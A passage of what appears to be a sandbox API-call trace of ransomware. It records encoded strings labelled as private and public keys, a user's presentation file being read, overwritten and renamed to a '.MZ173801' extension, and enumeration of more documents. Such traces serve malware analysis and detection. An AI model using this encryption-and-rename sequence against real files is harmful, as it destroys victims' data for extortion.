Krwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.624] GetCurrentThreadId () returned 0xab4 [0169.624] GetCurrentThreadId () returned 0xab4 [0169.624] GetCurrentThreadId () returned 0xab4 [0169.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.625] GetCurrentThreadId () returned 0xab4 [0169.625] GetCurrentThreadId () returned 0xab4 [0169.625] GetCurrentThreadId () returned 0xab4 [0169.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.625] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0169.625] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.625] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x145e8 [0169.625] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.625] ReadFile (in: hFile=0x27c, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x145e8, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f480*=0x145e8, lpOverlapped=0x0) returned 1 [0169.626] CloseHandle (hObject=0x27c) returned 1 [0169.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.629] WriteFile (in: hFile=0x27c, lpBuffer=0x24ceed0*, nNumberOfBytesToWrite=0x145e8, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24ceed0*, lpNumberOfBytesWritten=0x19f48c*=0x145e8, lpOverlapped=0x0) returned 1 [0169.631] CloseHandle (hObject=0x27c) returned 1 [0169.631] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\aFvFEbnBHEh4Rtvxta.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\afvfebnbheh4rtvxta.pptx.mz173801")) returned 1 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] GetCurrentThreadId () returned 0xab4 [0169.632] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9df57560, ftCreationTime.dwHighDateTime=0x1d5e7af, ftLastAccessTime.dwLowDateTime=0xf9c3b080, ftLastAccessTime.dwHighDateTime=0x1d5e973, ftLastWriteTime.dwLowDateTime=0xf9c3b080, ftLastWriteTime.dwHighDateTime=0x1d5e973, nFileSizeHigh=0x0, nFileSizeLow=0x143be, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="B3BnBu7o8.odp", cAlternateFileName="B3BNBU~1.ODP")) returned 1 [0169.632] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0169.632] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.632] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6626ed0, ftCreationTime.dwHighDateTime=0x1d5ebe5, ftLastAccessTime.dwLowDateTime=0x537233e0, ftLastAccessTime.dwHighDateTime=0x1d5ea0f, ftLastWriteTime.dwLowDateTime=0x537233e0, ftLastWriteTime.dwHighDateTime=0x1d5ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x62b7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="b4R07D-sGzHx.ppt", cAlternateFileName="B4R07D~1.PPT")) returned 1 [0169.632] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0169.632] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0169.632] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6626ed0, ftCreationTime.dwHighDateTime=0x1d5ebe5, ftLastAccessTime.dwLowDateTime=0x537233e0, ftLastAccessTime.dwHighDateTime=0x1d5ea0f, ftLastWriteTime.dwLowDateTime=0x537233e0, ftLastWriteTime.dwHighDateTime=0x1d5ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x62b7)) returned 1 [0169.632] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\b4r07d-sgzhx.ppt")) returned 0x20 [0169.632] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\b4R07D-sGzHx.ppt", dwFileAttributes=0x80) returned 1 [0169.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 